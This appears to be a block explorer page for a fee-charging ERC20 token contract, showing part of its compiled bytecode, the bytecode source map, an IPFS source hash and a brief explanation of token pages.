064820152608401610561565b600083116109355760405162461bcd60e51b815260206004820152602360248201527f545820616d6f756e74206d7573742062652067726561746572207468616e207a60448201526265726f60e81b6064820152608401610561565b61093f8585610ca8565b15610a7957600b54600160a01b900460ff166109965760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08195b98589b195960521b6044820152606401610561565b6001600160a01b03841660009081526004602052604090205460ff161580156109c857506001600160a01b0385163014155b80156109dd57506001600160a01b0384163014155b80610a0357506109ed8585610d7d565b8015610a035750600b54600160b01b900460ff16155b15610a795760085483610a2b866001600160a01b031660009081526005602052604090205490565b610a35919061134f565b1115610a795760405162461bcd60e51b815260206004820152601360248201527217db585e151e105b5bdd5b9d08195e18d95959606a1b6044820152606401610561565b610a838585610dc5565b8015610a995750600b54600160a81b900460ff16155b8015610aa95750610aa985610e0c565b15610b005730600090815260056020526040902054610ad3620186a0670de0b6b3a76400006112e9565b8110610afe57610aee620186a0670de0b6b3a76400006112e9565b841115610afe57610afe81610e43565b505b6001600160a01b03851660009081526002602052604090205460ff1680610b3f57506001600160a01b03841660009081526002602052604090205460ff165b15610b48575060005b600081610b555783610b73565b610b7386610b63888861104d565b610b6d8989610dc5565b87611094565b9050600082610b9b57600b54600160a01b900460ff1615610b95576000610b9d565b84610b9d565b845b6001600160a01b038816600090815260056020526040812080549293508392909190610bca9084906112a1565b90915550506001600160a01b03861660009081526005602052604081208054849290610bf790849061134f565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c4391815260200190565b60405180910390a35060019695505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600080610cbd6000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610cec57506000546001600160a01b03848116911614155b8015610d0357506000546001600160a01b03163314155b8015610d2857506001600160a01b03841660009081526003602052604090205460ff16155b8015610d4d57506001600160a01b03831660009081526003602052604090205460ff16155b8015610d6157506001600160a01b03831615155b801561052f57506001600160a01b038316301415949350505050565b6001600160a01b038116600090815260046020526040812054819060ff1615801561052f57505050506001600160a01b031660009081526004602052604090205460ff161590565b6001600160a01b038116600090815260046020526040812054819060ff16801561052f57505050506001600160a01b031660009081526004602052604090205460ff161590565b600954600090819060ff168015610e3c57506001600160a01b03831660009081526002602052604090205460ff16155b9392505050565b600b805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e8b57610e8b611362565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ee4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f089190611378565b81600181518110610f1b57610f1b611362565b6001600160a01b03928316602091820292909201810191909152306000908152600182526040808220600b54909416825292909152205460001914610f8557306000908152600160209081526040808320600b546001600160a01b03168452909152902060001990555b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fbe908590600090869030904290600401611395565b600060405180830381600087803b158015610fd857600080fd5b505af1925050508015610fe9575060015b610ff3575061103d565b471561103b576009546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f19350505050158015611039573d6000803e3d6000fd5b505b505b50600b805460ff60a81b19169055565b6001600160a01b038116600090815260046020526040812054819060ff1615801561052f57505050506001600160a01b031660009081526004602052604090205460ff1690565b60008084156110a657506006546110b9565b83156110b557506007546110b9565b5060005b806000036110ca578291505061052f565b60006103e86110d98386611406565b6110e391906112e9565b9050801561115057306000908152600560205260408120805483929061110a90849061134f565b909155505060405181815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b61115a81856112a1565b979650505050505050565b600060208083528351808285015260005b8181101561119257858101830151858201604001528201611176565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461078557600080fd5b600080604083850312156111db57600080fd5b82356111e6816111b3565b946020939093013593505050565b60008060006060848603121561120957600080fd5b8335611214816111b3565b92506020840135611224816111b3565b929592945050506040919091013590565b60006020828403121561124757600080fd5b8135610e3c816111b3565b6000806040838503121561126557600080fd5b8235611270816111b3565b91506020830135611280816111b3565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156104b9576104b961128b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008261130657634e487b7160e01b600052601260045260246000fd5b500490565b60208082526024908201527f45524332303a2043616e277420617070726f7665206f6e205a65726f204164646040820152637265737360e01b606082015260800190565b808201808211156104b9576104b961128b565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561138a57600080fd5b8151610e3c816111b3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156113e55784516001600160a01b0316835293830193918301916001016113c0565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176104b9576104b961128b56fea2646970667358221220e3599a40caca3fb05c4ab08c3e1c6b89f1a05a9797991775225bb9ef8febf4ef64736f6c63430008130033

Deployed Bytecode Sourcemap

4797:7966:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5709:73;;;;;;;;;;;;5740:42;5709:73;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;5709:73:0;;;;;;;;7184:80;;;;;;;;;;-1:-1:-1;7256:5:0;;;;;;;;;;;;-1:-1:-1;;;7256:5:0;;;;7184:80;;;;;;;:::i;11585:161::-;;;;;;;;;;-1:-1:-1;11585:161:0;;;;;:::i;:::-;;:::i;:::-;;;1396:14:1;;1389:22;1371:41;;1359:2;1344:18;11585:161:0;1231:187:1;5443:46:0;;;;;;;;;;;;5484:5;5443:46;;;;;1569:25:1;;;1557:2;1542:18;5443:46:0;1423:177:1;6840:125:0;;;;;;;;;;-1:-1:-1;5302:15:0;6840:125;;12061:306;;;;;;;;;;-1:-1:-1;12061:306:0;;;;;:::i;:::-;;:::i;12530:230::-;;;;;;;;;;;;;:::i;:::-;;6971:117;;;;;;;;;;-1:-1:-1;6971:117:0;;4977:1;2208:36:1;;2196:2;2181:18;6971:117:0;2066:184:1;5263:54:0;;;;;;;;;;;;5302:15;5263:54;;7495:117;;;;;;;;;;-1:-1:-1;7495:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;7588:16:0;7561:7;7588:16;;;:7;:16;;;;;;;7495:117;1028:94;;;;;;;;;;;;;:::i;5822:37::-;;;;;;;;;;-1:-1:-1;5822:37:0;;;;-1:-1:-1;;;;;5822:37:0;;;7270:80;;;;;;;;;;-1:-1:-1;7322:7:0;878:6;-1:-1:-1;;;;;878:6:0;7270:80;;7094:84;;;;;;;;;;-1:-1:-1;7168:7:0;;;;;;;;;;;;-1:-1:-1;;;7168:7:0;;;;7094:84;;5791:24;;;;;;;;;;-1:-1:-1;5791:24:0;;;;-1:-1:-1;;;;;5791:24:0;;;11408:165;;;;;;;;;;-1:-1:-1;11408:165:0;;;;;:::i;:::-;;:::i;5396:40::-;;;;;;;;;;;;5435:1;5396:40;;5866:32;;;;;;;;;;-1:-1:-1;5866:32:0;;;;-1:-1:-1;;;5866:32:0;;;;;;7356:133;;;;;;;;;;-1:-1:-1;7356:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;7458:19:0;;;7440:7;7458:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;7356:133;5324:65;;;;;;;;;;;;;:::i;5531:29::-;;;;;;;;;;;;;;;;5496:28;;;;;;;;;;;;;;;;12379:139;;;;;;;;;;;;;:::i;1130:192::-;;;;;;;;;;-1:-1:-1;1130:192:0;;;;;:::i;:::-;;:::i;11585:161::-;11662:4;11679:37;11688:10;11700:7;11709:6;11679:8;:37::i;:::-;-1:-1:-1;11734:4:0;11585:161;;;;;:::o;12061:306::-;-1:-1:-1;;;;;12182:19:0;;12161:4;12182:19;;;:11;:19;;;;;;;;12202:10;12182:31;;;;;;;;-1:-1:-1;;12182:52:0;12178:126;;-1:-1:-1;;;;;12251:19:0;;;;;;:11;:19;;;;;;;;12271:10;12251:31;;;;;;;:41;;12286:6;;12251:19;:41;;12286:6;;12251:41;:::i;:::-;;;;-1:-1:-1;;12178:126:0;12323:36;12333:6;12341:9;12352:6;12323:9;:36::i;:::-;12316:43;12061:306;-1:-1:-1;;;;12061:306:0:o;12530:230::-;851:7;878:6;-1:-1:-1;;;;;878:6:0;434:10;940:23;932:68;;;;-1:-1:-1;;;932:68:0;;;;;;;:::i;:::-;;;;;;;;;12596:13:::1;::::0;-1:-1:-1;;;12596:13:0;::::1;;;12595:14;12587:49;;;::::0;-1:-1:-1;;;12587:49:0;;3960:2:1;12587:49:0::1;::::0;::::1;3942:21:1::0;3999:2;3979:18;;;3972:30;4038:25;4018:18;;;4011:53;4081:18;;12587:49:0::1;3758:347:1::0;12587:49:0::1;5302:15;12647:12;:27:::0;12685:13:::1;:20:::0;;-1:-1:-1;;;;12685:20:0::1;-1:-1:-1::0;;;12685:20:0::1;::::0;;12726:2:::1;12716:7;:12:::0;;;12739:8:::1;:13:::0;12530:230::o;1028:94::-;851:7;878:6;-1:-1:-1;;;;;878:6:0;434:10;940:23;932:68;;;;-1:-1:-1;;;932:68:0;;;;;;;:::i;:::-;1093:21:::1;1111:1;1093:9;:21::i;:::-;1028:94::o:0;11408:165::-;11486:4;11503:40;11513:10;11525:9;11536:6;11503:9;:40::i;:::-;-1:-1:-1;11561:4:0;;11408:165;-1:-1:-1;;;11408:165:0:o;5324:65::-;5367:22;5382:7;5302:15;5367:22;:::i;:::-;5324:65;:::o;12379:139::-;851:7;878:6;-1:-1:-1;;;;;878:6:0;434:10;940:23;932:68;;;;-1:-1:-1;;;932:68:0;;;;;;;:::i;:::-;12440:12:::1;::::0;-1:-1:-1;;;12440:12:0;::::1;;;12439:13;12431:49;;;::::0;-1:-1:-1;;;12431:49:0;;4534:2:1;12431:49:0::1;::::0;::::1;4516:21:1::0;4573:2;4553:18;;;4546:30;4612:25;4592:18;;;4585:53;4655:18;;12431:49:0::1;4332:347:1::0;12431:49:0::1;12491:12;:19:::0;;-1:-1:-1;;;;12491:19:0::1;-1:-1:-1::0;;;12491:19:0::1;::::0;;12379:139::o;1130:192::-;851:7;878:6;-1:-1:-1;;;;;878:6:0;434:10;940:23;932:68;;;;-1:-1:-1;;;932:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1219:22:0;::::1;1211:73;;;::::0;-1:-1:-1;;;1211:73:0;;4886:2:1;1211:73:0::1;::::0;::::1;4868:21:1::0;4925:2;4905:18;;;4898:30;4964:34;4944:18;;;4937:62;-1:-1:-1;;;5015:18:1;;;5008:36;5061:19;;1211:73:0::1;4684:402:1::0;1211:73:0::1;1295:19;1305:8;1295:9;:19::i;:::-;1130:192:::0;:::o;11754:295::-;-1:-1:-1;;;;;11849:20:0;;11841:69;;;;-1:-1:-1;;;11841:69:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11929:21:0;;11921:70;;;;-1:-1:-1;;;11921:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12004:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;11754:295::o;9928:1411::-;10008:4;10040;-1:-1:-1;;;;;10063:16:0;;10055:71;;;;-1:-1:-1;;;10055:71:0;;5698:2:1;10055:71:0;;;5680:21:1;5737:2;5717:18;;;5710:30;5776:34;5756:18;;;5749:62;-1:-1:-1;;;5827:18:1;;;5820:40;5877:19;;10055:71:0;5496:406:1;10055:71:0;-1:-1:-1;;;;;10145:18:0;;10137:76;;;;-1:-1:-1;;;10137:76:0;;6109:2:1;10137:76:0;;;6091:21:1;6148:2;6128:18;;;6121:30;6187:34;6167:18;;;6160:62;-1:-1:-1;;;6238:18:1;;;6231:43;6291:19;;10137:76:0;5907:409:1;10137:76:0;10241:1;10232:6;:10;10224:58;;;;-1:-1:-1;;;10224:58:0;;6523:2:1;10224:58:0;;;6505:21:1;6562:2;6542:18;;;6535:30;6601:34;6581:18;;;6574:62;-1:-1:-1;;;6652:18:1;;;6645:33;6695:19;;10224:58:0;6321:399:1;10224:58:0;10299:25;10316:4;10321:2;10299:16;:25::i;:::-;10295:303;;;10349:12;;-1:-1:-1;;;10349:12:0;;;;10341:46;;;;-1:-1:-1;;;10341:46:0;;6927:2:1;10341:46:0;;;6909:21:1;6966:2;6946:18;;;6939:30;-1:-1:-1;;;6985:18:1;;;6978:52;7047:18;;10341:46:0;6725:346:1;10341:46:0;-1:-1:-1;;;;;10414:12:0;;;;;;:8;:12;;;;;;;;10413:13;:38;;;;-1:-1:-1;;;;;;10430:21:0;;10446:4;10430:21;;10413:38;:61;;;;-1:-1:-1;;;;;;10455:19:0;;10469:4;10455:19;;10413:61;:107;;;;10478:24;10494:4;10499:2;10478:15;:24::i;:::-;:42;;;;-1:-1:-1;10507:13:0;;-1:-1:-1;;;10507:13:0;;;;10506:14;10478:42;10410:187;;;10559:12;;10549:6;10533:13;10543:2;-1:-1:-1;;;;;7588:16:0;7561:7;7588:16;;;:7;:16;;;;;;;7495:117;10533:13;:22;;;;:::i;:::-;:38;;10525:69;;;;-1:-1:-1;;;10525:69:0;;7408:2:1;10525:69:0;;;7390:21:1;7447:2;7427:18;;;7420:30;-1:-1:-1;;;7466:18:1;;;7459:49;7525:18;;10525:69:0;7206:343:1;10525:69:0;10615:21;10627:4;10633:2;10615:11;:21::i;:::-;:36;;;;-1:-1:-1;10642:9:0;;-1:-1:-1;;;10642:9:0;;;;10641:10;10615:36;:58;;;;;10655:18;10668:4;10655:12;:18::i;:::-;10612:276;;;10732:4;10692:19;7588:16;;;:7;:16;;;;;;5367:22;5382:7;5302:15;5367:22;:::i;:::-;10756:11;:31;10753:124;;5367:22;5382:7;5302:15;5367:22;:::i;:::-;10812:6;:25;10809:51;;;10839:21;10848:11;10839:8;:21::i;:::-;10675:213;10612:276;-1:-1:-1;;;;;10904:15:0;;;;;;:9;:15;;;;;;;;;:32;;-1:-1:-1;;;;;;10923:13:0;;;;;;:9;:13;;;;;;;;10904:32;10900:79;;;-1:-1:-1;10962:5:0;10900:79;10989:22;11015:7;11014:92;;11100:6;11014:92;;;11026:71;11039:4;11045:20;11056:4;11062:2;11045:10;:20::i;:::-;11067:21;11079:4;11085:2;11067:11;:21::i;:::-;11090:6;11026:12;:71::i;:::-;10989:117;;11117:23;11144:7;11143:49;;11166:12;;-1:-1:-1;;;11166:12:0;;;;11165:13;:26;;11190:1;11143:49;;11165:26;11181:6;11143:49;;;11155:6;11143:49;-1:-1:-1;;;;;11203:13:0;;;;;;:7;:13;;;;;:32;;11117:75;;-1:-1:-1;11117:75:0;;11203:13;;;:32;;11117:75;;11203:32;:::i;:::-;;;;-1:-1:-1;;;;;;;11237:11:0;;;;;;:7;:11;;;;;:29;;11252:14;;11237:11;:29;;11252:14;;11237:29;:::i;:::-;;;;;;;;11288:2;-1:-1:-1;;;;;11273:34:0;11282:4;-1:-1:-1;;;;;11273:34:0;;11292:14;11273:34;;;;1569:25:1;;1557:2;1542:18;;1423:177;11273:34:0;;;;;;;;-1:-1:-1;11327:4:0;;9928:1411;-1:-1:-1;;;;;;9928:1411:0:o;1330:173::-;1386:16;1405:6;;-1:-1:-1;;;;;1422:17:0;;;-1:-1:-1;;;;;;1422:17:0;;;;;;1455:40;;1405:6;;;;;;;1455:40;;1386:16;1455:40;1375:128;1330:173;:::o;7620:324::-;7695:4;7712:14;7736:7;851;878:6;-1:-1:-1;;;;;878:6:0;;805:87;7736:7;-1:-1:-1;;;;;7729:14:0;:3;-1:-1:-1;;;;;7729:14:0;;;:45;;;;-1:-1:-1;851:7:0;878:6;-1:-1:-1;;;;;7760:14:0;;;878:6;;7760:14;;7729:45;:83;;;;-1:-1:-1;851:7:0;878:6;-1:-1:-1;;;;;878:6:0;7791:10;:21;;7729:83;:113;;;;-1:-1:-1;;;;;;7830:12:0;;;;;;:7;:12;;;;;;;;7829:13;7729:113;:131;;;;-1:-1:-1;;;;;;7848:12:0;;;;;;:7;:12;;;;;;;;7847:13;7729:131;:152;;;;-1:-1:-1;;;;;;7864:17:0;;;;7729:152;:176;;;;-1:-1:-1;;;;;;7885:20:0;;7900:4;7885:20;;7712:193;7620:324;-1:-1:-1;;;;7620:324:0:o;8306:182::-;-1:-1:-1;;;;;8419:13:0;;8380:4;8419:13;;;:8;:13;;;;;;8380:4;;8419:13;;8418:14;:32;;;;-1:-1:-1;;;;;;;;;8437:13:0;;;;;:8;:13;;;;;;;;8436:14;;8306:182::o;8129:169::-;-1:-1:-1;;;;;8233:13:0;;8199:4;8233:13;;;:8;:13;;;;;;8199:4;;8233:13;;:31;;;;-1:-1:-1;;;;;;;;;8251:13:0;;;;;:8;:13;;;;;;;;8250:14;;8129:169::o;9763:153::-;9853:11;;9821:4;;;;9853:11;;:30;;;;-1:-1:-1;;;;;;9869:14:0;;;;;;:9;:14;;;;;;;;9868:15;9853:30;9838:45;9763:153;-1:-1:-1;;;9763:153:0:o;9032:718::-;6008:9;:16;;-1:-1:-1;;;;6008:16:0;-1:-1:-1;;;6008:16:0;;;9126::::1;::::0;;9140:1:::1;9126:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9126:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9126:16:0::1;9102:40;;9171:4;9153;9158:1;9153:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9153:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9197:13:::1;::::0;:20:::1;::::0;;-1:-1:-1;;;9197:20:0;;;;:13;;;::::1;::::0;:18:::1;::::0;:20:::1;::::0;;::::1;::::0;9153:7;;9197:20;;;;;:13;:20:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9187:4;9192:1;9187:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9187:30:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:30;;;;9254:4:::1;9234:26;::::0;;;:11:::1;:26:::0;;;;;;9269:13:::1;::::0;;;::::1;9234:50:::0;;;;;;;;-1:-1:-1;;9234:71:0::1;9230:174;;9342:4;9322:26;::::0;;;:11:::1;:26;::::0;;;;;;;9357:13:::1;::::0;-1:-1:-1;;;;;9357:13:0::1;9322:50:::0;;;;;;;-1:-1:-1;;9322:70:0;;9230:174:::1;9420:13;::::0;:194:::1;::::0;-1:-1:-1;;;9420:194:0;;-1:-1:-1;;;;;9420:13:0;;::::1;::::0;:64:::1;::::0;:194:::1;::::0;9499:11;;9420:13:::1;::::0;9541:4;;9568::::1;::::0;9588:15:::1;::::0;9420:194:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;9416:241;;9639:7;;;9416:241;9672:21;:25:::0;9669:73:::1;;9699:11;::::0;:43:::1;::::0;-1:-1:-1;;;;;9699:11:0::1;::::0;;::::1;::::0;;;::::1;::::0;9720:21:::1;9699:43:::0;::::1;;;::::0;::::1;::::0;;;9720:21;9699:11;:43;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9669:73;9091:659;6035:1;-1:-1:-1::0;6047:9:0;:17;;-1:-1:-1;;;;6047:17:0;;;9032:718::o;7956:165::-;-1:-1:-1;;;;;8058:13:0;;8025:4;8058:13;;;:8;:13;;;;;;8025:4;;8058:13;;8057:14;:31;;;;-1:-1:-1;;;;;;;;;8075:13:0;;;;;:8;:13;;;;;;;;;7956:165::o;8500:520::-;8595:7;8615:11;8641:5;8637:87;;;-1:-1:-1;8655:7:0;;8637:87;;;8674:6;8670:54;;;-1:-1:-1;8689:8:0;;8670:54;;;-1:-1:-1;5435:1:0;8670:54;8740:3;8747:1;8740:8;8736:28;;8758:6;8751:13;;;;;8736:28;8776:17;5484:5;8796:12;8805:3;8796:6;:12;:::i;:::-;:29;;;;:::i;:::-;8776:49;-1:-1:-1;8840:13:0;;8836:141;;8886:4;8870:22;;;;:7;:22;;;;;:35;;8896:9;;8870:22;:35;;8896:9;;8870:35;:::i;:::-;;;;-1:-1:-1;;8925:40:0;;1569:25:1;;;8948:4:0;;-1:-1:-1;;;;;8925:40:0;;;;;1557:2:1;1542:18;8925:40:0;;;;;;;8836:141;8994:18;9003:9;8994:6;:18;:::i;:::-;8987:25;8500:520;-1:-1:-1;;;;;;;8500:520:0:o;222:548:1:-;334:4;363:2;392;381:9;374:21;424:6;418:13;467:6;462:2;451:9;447:18;440:34;492:1;502:140;516:6;513:1;510:13;502:140;;;611:14;;;607:23;;601:30;577:17;;;596:2;573:26;566:66;531:10;;502:140;;;506:3;691:1;686:2;677:6;666:9;662:22;658:31;651:42;761:2;754;750:7;745:2;737:6;733:15;729:29;718:9;714:45;710:54;702:62;;;;222:548;;;;:::o;775:131::-;-1:-1:-1;;;;;850:31:1;;840:42;;830:70;;896:1;893;886:12;911:315;979:6;987;1040:2;1028:9;1019:7;1015:23;1011:32;1008:52;;;1056:1;1053;1046:12;1008:52;1095:9;1082:23;1114:31;1139:5;1114:31;:::i;:::-;1164:5;1216:2;1201:18;;;;1188:32;;-1:-1:-1;;;911:315:1:o;1605:456::-;1682:6;1690;1698;1751:2;1739:9;1730:7;1726:23;1722:32;1719:52;;;1767:1;1764;1757:12;1719:52;1806:9;1793:23;1825:31;1850:5;1825:31;:::i;:::-;1875:5;-1:-1:-1;1932:2:1;1917:18;;1904:32;1945:33;1904:32;1945:33;:::i;:::-;1605:456;;1997:7;;-1:-1:-1;;;2051:2:1;2036:18;;;;2023:32;;1605:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2739:388::-;2807:6;2815;2868:2;2856:9;2847:7;2843:23;2839:32;2836:52;;;2884:1;2881;2874:12;2836:52;2923:9;2910:23;2942:31;2967:5;2942:31;:::i;:::-;2992:5;-1:-1:-1;3049:2:1;3034:18;;3021:32;3062:33;3021:32;3062:33;:::i;:::-;3114:7;3104:17;;;2739:388;;;;;:::o;3132:127::-;3193:10;3188:3;3184:20;3181:1;3174:31;3224:4;3221:1;3214:15;3248:4;3245:1;3238:15;3264:128;3331:9;;;3352:11;;;3349:37;;;3366:18;;:::i;3397:356::-;3599:2;3581:21;;;3618:18;;;3611:30;3677:34;3672:2;3657:18;;3650:62;3744:2;3729:18;;3397:356::o;4110:217::-;4150:1;4176;4166:132;;4220:10;4215:3;4211:20;4208:1;4201:31;4255:4;4252:1;4245:15;4283:4;4280:1;4273:15;4166:132;-1:-1:-1;4312:9:1;;4110:217::o;5091:400::-;5293:2;5275:21;;;5332:2;5312:18;;;5305:30;5371:34;5366:2;5351:18;;5344:62;-1:-1:-1;;;5437:2:1;5422:18;;5415:34;5481:3;5466:19;;5091:400::o;7076:125::-;7141:9;;;7162:10;;;7159:36;;;7175:18;;:::i;7686:127::-;7747:10;7742:3;7738:20;7735:1;7728:31;7778:4;7775:1;7768:15;7802:4;7799:1;7792:15;7818:251;7888:6;7941:2;7929:9;7920:7;7916:23;7912:32;7909:52;;;7957:1;7954;7947:12;7909:52;7989:9;7983:16;8008:31;8033:5;8008:31;:::i;8074:980::-;8336:4;8384:3;8373:9;8369:19;8415:6;8404:9;8397:25;8441:2;8479:6;8474:2;8463:9;8459:18;8452:34;8522:3;8517:2;8506:9;8502:18;8495:31;8546:6;8581;8575:13;8612:6;8604;8597:22;8650:3;8639:9;8635:19;8628:26;;8689:2;8681:6;8677:15;8663:29;;8710:1;8720:195;8734:6;8731:1;8728:13;8720:195;;;8799:13;;-1:-1:-1;;;;;8795:39:1;8783:52;;8890:15;;;;8855:12;;;;8831:1;8749:9;8720:195;;;-1:-1:-1;;;;;;;8971:32:1;;;;8966:2;8951:18;;8944:60;-1:-1:-1;;;9035:3:1;9020:19;9013:35;8932:3;8074:980;-1:-1:-1;;;8074:980:1:o;9059:168::-;9132:9;;;9163;;9180:15;;;9174:22;;9160:37;9150:71;;9201:18;;:::i

Swarm Source

ipfs://e3599a40caca3fb05c4ab08c3e1c6b89f1a05a9797991775225bb9ef8febf4ef
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.